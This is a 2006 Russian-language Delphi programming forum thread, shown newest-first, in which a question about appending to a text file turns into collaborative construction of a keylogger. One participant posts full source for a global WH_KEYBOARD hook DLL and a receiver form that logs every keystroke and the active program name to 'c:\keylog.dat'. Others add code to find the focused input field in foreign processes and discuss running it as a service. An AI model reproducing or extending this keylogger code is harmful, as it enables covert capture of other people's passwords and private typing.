Top.Mail.Ru
Мастера DELPHI, Delphi programming community Титульная страница Поиск, карта сайта Написать письмо 
| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL |
| Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Запись в текстовый файл [D7, WinXP]


Страницы:   1 2 3 4 5

Tanya ©   (2006-07-26 21:33:00) 

Что-то я никак не пойму почему не работает запись в файл... Делаю я так:

var
F: TextFile;

при запуске программы:

 AssignFile(F, 'file.dat');
 if FileExists('file.dat') then
   Append(F)
 else
   Rewrite(F);


при закрытии программы:

 CloseFile(F);


во время работы программы в определенные моменты файл постоянно дополняется новой строкой(ами):

WriteLn(F, 'test');


Файл создается если его нету, но вот почему в него не записывается ничего я не пойму...((( В блокноте открываю его, а там пусто...((( Мастера, подскажите пожалуйста..

Джо   (2006-08-13 03:57:00) [1]

> [90] Tanya   (13.08.06 00:59)
> Подскажите пожалуйста, как всетаки передать сообщение в
> сервис, это же тоже программа, не имеющая окна...

Ну, в принципе, невидимое окно завести никто не запрещает.

Ketmar   (2006-08-13 01:09:00) [2]

> [87] Virgo_Style ©   (02.08.06 07:45)
да. %-)

> [90] Tanya   (13.08.06 00:59)
поиск делать религия запрещает? ну, сокетами, например. только не надо спрашивать "а как это?"

Tanya   (2006-08-13 00:59:00) [3]

Подскажите пожалуйста, как всетаки передать сообщение в сервис, это же тоже программа, не имеющая окна...

Zeqfreed   (2006-08-02 07:58:00) [4]

Zeqfreed ©   (02.08.06 07:56) [88]

Ой. Опять забыл, что форум съедает пробелы, да ещё и клиент русские комментарии куда-то дел :( Пробую ещё раз.


var
 wnd : HWND;
 toPID, PID : Cardinal;
begin
 PID := GetCurrentThreadId();
 Wnd := Нужное_окно
 toPID := GetWindowThreadProcessId(Wnd, nil);
 if not AttachThreadInput(toPID, PID, True) then Exit;
 Wnd := GetFocus();
 // Работаем с окном
 AttachThreadInput(toPID, PID, False);
end;

Zeqfreed   (2006-08-02 07:56:00) [5]

> [84] Джо ©   (02.08.06 02:11)

Не знаю что проще, но я использовал нечто такое:

var
wnd : HWND;
toPID, PID : Cardinal;
begin
PID := GetCurrentThreadId();
Wnd := {           }
toPID := GetWindowThreadProcessId(Wnd, nil);
if not AttachThreadInput(toPID, PID, True) then Exit;
Wnd := GetFocus();
//           Wnd
AttachThreadInput(toPID, PID, False);
end;

Virgo_Style   (2006-08-02 07:45:00) [6]

Правильно ли я понимаю, что тут всем миром пишут keylogger? =)

Eraser   (2006-08-02 02:58:00) [7]

> [80] Tanya   (01.08.06 17:13)


> Если сервис будет иметь такое название класса, будут до
> него доходить сообщения?

более того, данный метод коммуникации (используя сообщения) не будет поддерживать Fast User Switching (поэтому парень легко будет прятаться от тебя), поэтому прийдется писать ещё один исполняемый модуль, который будет запускаться для каждой терминальной сессии и взаимоействовать с одной стороны с dll, получая от неё сообщения, а с другой - с сервисом, посредством одного из способов IPC.

:o)

Джо   (2006-08-02 02:23:00) [8]

> [84] Джо ©   (02.08.06 02:11)
> GetWindowText(GuiThreadInfo.hwndFocus,Txt,SizeOf(Txt));

За сие не пинайте — вынужденный недосып :) Конечно, текст нужно выдирать посылкой сообщения WM_GETTEXT, но для вопроса это неважно.

Джо   (2006-08-02 02:11:00) [9]

> [83] Tanya   (01.08.06 22:33)
> Джо, счто скажете о Tanya   (01.08.06 20:44) [81]?

Я плохо разбираюсь в WinAPI, поэтому ничего изящного предложить не могу. Вот, например, придумал такой велосипед для определения окна (и дочернего, в том числе), имеющего фокус ввода в чужом процессе. Ничуть не удивлюсь, если есть более простые способы :)

var
 ThreadId: THandle;
 GuiThreadInfo: tagGUITHREADINFO;
 Txt: array [0..1024] of Char;
begin
 ThreadId := GetWindowThreadProcessId ( Handle_Окна);
 if ThreadId = 0 then
   RaiseLastOSError;

 GuiThreadInfo.cbSize := SizeOf(tagGUITHREADINFO);
 if not GetGUIThreadInfo  (ThreadId,GuiThreadInfo) then
   RaiseLastOSError;

 // ну, а теперь получим его текст
 GetWindowText(GuiThreadInfo.hwndFocus,Txt,SizeOf(Txt));
end;

Tanya   (2006-08-01 22:33:00) [10]

Джо, счто скажете о Tanya   (01.08.06 20:44) [81]?

Джо   (2006-08-01 21:48:00) [11]

> Если сервис будет иметь такое название класса, будут до
> него доходить сообщения?

Нет, нужно окно.

Tanya   (2006-08-01 20:44:00) [12]

EnumChildWindows только перечисляет все дочерние окна, а хотелось бы какнибудь узнать именно то в котором происходит ввод символов...

Tanya   (2006-08-01 17:13:00) [13]

Попробую разобраться с этой функцией, а еще я хотела спросить.. Джо, в твоем примере мы передаем сообщение форме, которая имеет класс "TCharLogReceiver", а если это будет не форма и не программа а сервис? Если сервис будет иметь такое название класса, будут до него доходить сообщения?

Джо   (2006-08-01 17:06:00) [14]

> Вот как можно определить хендл не окна а поля ввода?

EnumChildWindows?

Tanya   (2006-08-01 17:00:00) [15]

У меня все получилось, работает все хорошо, заголовок окна я так определяю:

var
FormCaption: TMaxPathString;
...

GetWindowText(GetForegroundWindow, FormCaption, SizeOf(FormCaption));


Все работает хорошо, но у меня возник еще один вопрос. Наприер если на форме будет много полей ввода, как их различать? Я думаю по хендлу... Вот как можно определить хендл не окна а поля ввода?

Tanya   (2006-07-28 13:15:00) [16]

Джо, спасибо большое! Чмок тебя в носик )))

Джо   (2006-07-27 19:14:00) [17]

П.С. Практический совет. В главной программе периодически стоит делать текстовому файлу Flush, для реальной записи изменений на диск. Например, по таймеру или в процедуре Log раз в N-е кол-во записей.

Джо   (2006-07-27 19:13:00) [18]

Вот небольшой пример на основе твоего кода. Он только дополнен посылкой/обработкой сообшения и совсем чуть-чуть исправлен. На более расширенный пример нет времени.

--- Главная программа
unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, StdCtrls;

type
 // Класс главной формы должен иметь
 // именно такое название! (см. константу в SharedUnit).
 TCharLogReceiver = class(TForm)
   Button1: TButton;
   procedure Button1Click(Sender: TObject);
   procedure FormCreate(Sender: TObject);
   procedure FormDestroy(Sender: TObject);
 private
   FTextFile: TextFile;
   procedure Log (const S: string);
   procedure WmCopyData (var Msg: TMessage); message WM_COPYDATA;
 public
   { Public declarations }
 end;

var
 CharLogReceiver: TCharLogReceiver;

procedure RunHook; stdcall; external 'MyLib.dll' index 1;
procedure StopHook; stdcall; external 'MyLib.dll' index 2;

implementation

uses SharedUnit;

{$R *.dfm}

const
 LogFileName = 'c:\keylog.dat';

procedure TCharLogReceiver.Button1Click(Sender: TObject);
begin
if Button1.Caption = 'Run' then
  begin
    Button1.Caption := 'Stop';
    RunHook;
  end
else
  if Button1.Caption = 'Stop' then
    begin
      StopHook;
      Button1.Caption := 'Run';
    end;
end;

procedure TCharLogReceiver.WmCopyData(var Msg: TMessage);
var
 Struc: COPYDATASTRUCT;
 AData: THookData;
begin
 Struc := PCopyDataStruct (Msg.LParam)^;
 TranslateData(Struc,AData);
 Log (AData.ModuleFileName);
 Log (AData.Chr);
 Msg.Result := 1;
end;

procedure TCharLogReceiver.FormCreate(Sender: TObject);
begin
 AssignFile(FTextFile, LogFileName);
 if FileExists(LogFileName) then
   Append(FTextFile)
 else
    Rewrite(FTextFile);
end;

procedure TCharLogReceiver.FormDestroy(Sender: TObject);
begin
 CloseFile (FTextFile)
end;

procedure TCharLogReceiver.Log(const S: string);
begin
 WriteLn (FTextFile,S);
end;

end.


--- Библиотека


library MyLib;

uses
 Windows,
 Messages,
 SysUtils,
 SharedUnit in 'SharedUnit.pas';

var
SysHook: HHook = 0;

function SysMsgProc(nCode: integer; wParam: word; lParam: longint): longint; stdcall;
var
 ModuleFileName: TMaxPathString;
 KeyBS: TKeyboardState;
 pTransChar : PChar;
 Data: THookData;
begin

if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
  begin
    GetKeyBoardState(KeyBS);
    GetMem(pTransChar, 3);
    ToAsciiEx(wParam, 0, KeyBS, pTransChar, 0, GetKeyboardLayout(0));
    GetModuleFileName(0, ModuleFileName, SizeOf(ModuleFileName));

    Data.Chr := pTransChar^;
    Data.ModuleFileName := ModuleFileName;
    SendData(Data);

    FreeMem(pTransChar);
    Result := 0;
  end
else
  Result := CallNextHookEx(SysHook, nCode, wParam, lParam);
end;

procedure RunHook; export; stdcall;
begin
 SysHook := SetWindowsHookEx(WH_KEYBOARD, @SysMsgProc, HInstance, 0);
end;

procedure StopHook; export; stdcall;
begin
 UnHookWindowsHookEx(SysHook);
 SysHook := 0;

end;

exports
 RunHook index 1,
 StopHook index 2;

end.



--- Общий модуль, используется как в библиотеке, так и в главной программе.


unit SharedUnit;

interface
uses Windows, Messages;

const
 ReceiverWindowClassName = 'TCharLogReceiver';
 
type
 TMaxPathString =  array [0..MAX_PATH] of Char;
 
 THookData = packed record
   Chr: Char;
   ModuleFileName: TMaxPathString;
 end;

 PHookData = ^THookData;

function SendData (AData: THookData): Boolean;

procedure TranslateData (DataStruc: COPYDATASTRUCT; var AData: THookData);

implementation

function SendData (AData: THookData): Boolean;
var
 H: HWND;
 _Data: COPYDATASTRUCT;
begin
 Result := False;
 H := FindWindow(ReceiverWindowClassName,nil);
 if H <> 0 then
 begin
   _Data.dwData := 0;
   _Data.cbData := SizeOf(THookData);
   _Data.lpData := @AData;
   Result := SendMessage (H,WM_COPYDATA,0,Integer(@_Data)) <> 0;
 end;
end;

procedure TranslateData (DataStruc: COPYDATASTRUCT; var AData: THookData);
var
 PData: PHookData;
begin
 PData := DataStruc.lpData;
 AData.Chr := PData^.Chr;
 Move (PData^.ModuleFileName, AData.ModuleFileName, SizeOf(AData.ModuleFileName));
end;

end.


Думаю, что, несмотря на его небрежность, код достаточно прост для понимания и без комментариев. :)

tesseract   (2006-07-27 17:41:00) [19]


> Tanya   (27.07.06 17:17) [73]


не ловит какое сообщение?

Tanya   (2006-07-27 17:17:00) [20]

Что-то я совсем расстроилась...((( Не ловит программа сообщение и все, хоть ты тресни...((( И так HWND_BROADCAST пробавала, и хендл окна программы передать в библиотеку пыталась... Не ловит и все... В программе сделала для наглядности вызов функции ShowMessage, так вот она нивкаком случае не выскакивает...(((

Страницы:   1 2 3 4 5

Наверх

Титульная страница Поиск, карта сайта Написать письмо